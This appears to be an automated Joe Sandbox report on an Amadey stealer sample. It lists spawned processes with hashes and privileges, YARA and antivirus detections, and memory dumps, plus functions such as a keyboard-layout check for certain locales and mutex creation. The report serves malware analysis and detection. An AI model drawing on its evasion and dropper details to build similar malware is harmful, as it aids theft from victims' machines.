Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1706192821.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:59:00
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5f0000
File size:	3'000'320 bytes
MD5 hash:	46C3863C4F153D69DBF4D5BFBBC90A73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2284433645.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:59:13
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe"
Imagebase:	0xd70000
File size:	1'834'496 bytes
MD5 hash:	6C1D0DABE1EC5E928F27B3223F25C26B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:59:21
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe"
Imagebase:	0xe40000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:59:21
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe 7520
Imagebase:	0x960000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:59:32
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe"
Imagebase:	0x960000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:59:32
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe 7576
Imagebase:	0xb40000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:59:34
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:59:40
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe"
Imagebase:	0x960000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	05:59:40
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe 7712
Imagebase:	0x650000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	05:59:41
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"
Imagebase:	0xba0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:59:41
Start date:	15/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:59:46
Start date:	15/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7540 -s 996
Imagebase:	0x3d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	05:59:47
Start date:	15/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4500 -s 648
Imagebase:	0x3d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	05:59:50
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe"
Imagebase:	0x960000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	05:59:53
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe"
Imagebase:	0xcb0000
File size:	1'881'088 bytes
MD5 hash:	2A9A8AC0536ADF8E5AAE9512C47AA11E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	05:59:53
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe 12492
Imagebase:	0xa80000
File size:	262'656 bytes
MD5 hash:	C37A981BC24C4ABA6454DA4EECB7ACBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	05:59:57
Start date:	15/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 12572 -s 636
Imagebase:	0x3d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	05:59:58
Start date:	15/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7592 -s 600
Imagebase:	0x3d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	06:00:00
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"
Imagebase:	0xba0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	06:00:00
Start date:	15/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff662a60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	06:00:00
Start date:	15/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	06:00:01
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe"
Imagebase:	0x370000
File size:	1'831'936 bytes
MD5 hash:	D5DA2FD5EA632CAE3FA62383DB932295
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	747
Total number of Limit Nodes:	16

Executed Functions

Function 00B2652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00B2652A,?,?,?,?,?,00B27661), ref: 00B26567

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: eb10e7283fd340f5100abb5b3bc1ce9cb81bd32898addd96a85928781f89b800
Instruction ID: 177e6e9d7a5cd6169b4715b5f7639fac2c08405107c3fd53d5f2cd598c2a3678
Opcode Fuzzy Hash: eb10e7283fd340f5100abb5b3bc1ce9cb81bd32898addd96a85928781f89b800
Instruction Fuzzy Hash: FFE08C3005015CAFCF25BF19E809E5D3BEAEB61795F401840F81C46222CB25EE81CA90

Function 04EE0174 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1718332602.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc0dc6ce7a4652fad9a674cb1f9679eb4c5e75cfa0e51d22a150444b96143d8
Instruction ID: 7573dc9822b6af1f2ae32b0207643abf6cbba0b3f21fed608e466dc334b95f4f
Opcode Fuzzy Hash: 8bc0dc6ce7a4652fad9a674cb1f9679eb4c5e75cfa0e51d22a150444b96143d8
Instruction Fuzzy Hash: F9F08CAB24C220FDA54248876B149FA3B6EF7DB3303309526F40BD9043F2EA16497131

Function 00AF5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00AF6054
0000043f, xrefs: 00AF612B
00000422, xrefs: 00AF60C9
00000419, xrefs: 00AF6098
00000423, xrefs: 00AF60FA

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 4fc12a4ca721483244be8ec9b5c86caed38f45bbdb26251398f12965a99d9487
Instruction ID: b52f8d2dba5f2ec262ac636ed4dcfcafc7b0a2564f9ab6918ac2678c67b87212
Opcode Fuzzy Hash: 4fc12a4ca721483244be8ec9b5c86caed38f45bbdb26251398f12965a99d9487
Instruction Fuzzy Hash: 40F1D07090025C9BEB24DF64CC84BEEBBB9EF45304F5042E9F608A72C1DB759A84CB95

Function 00AF9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
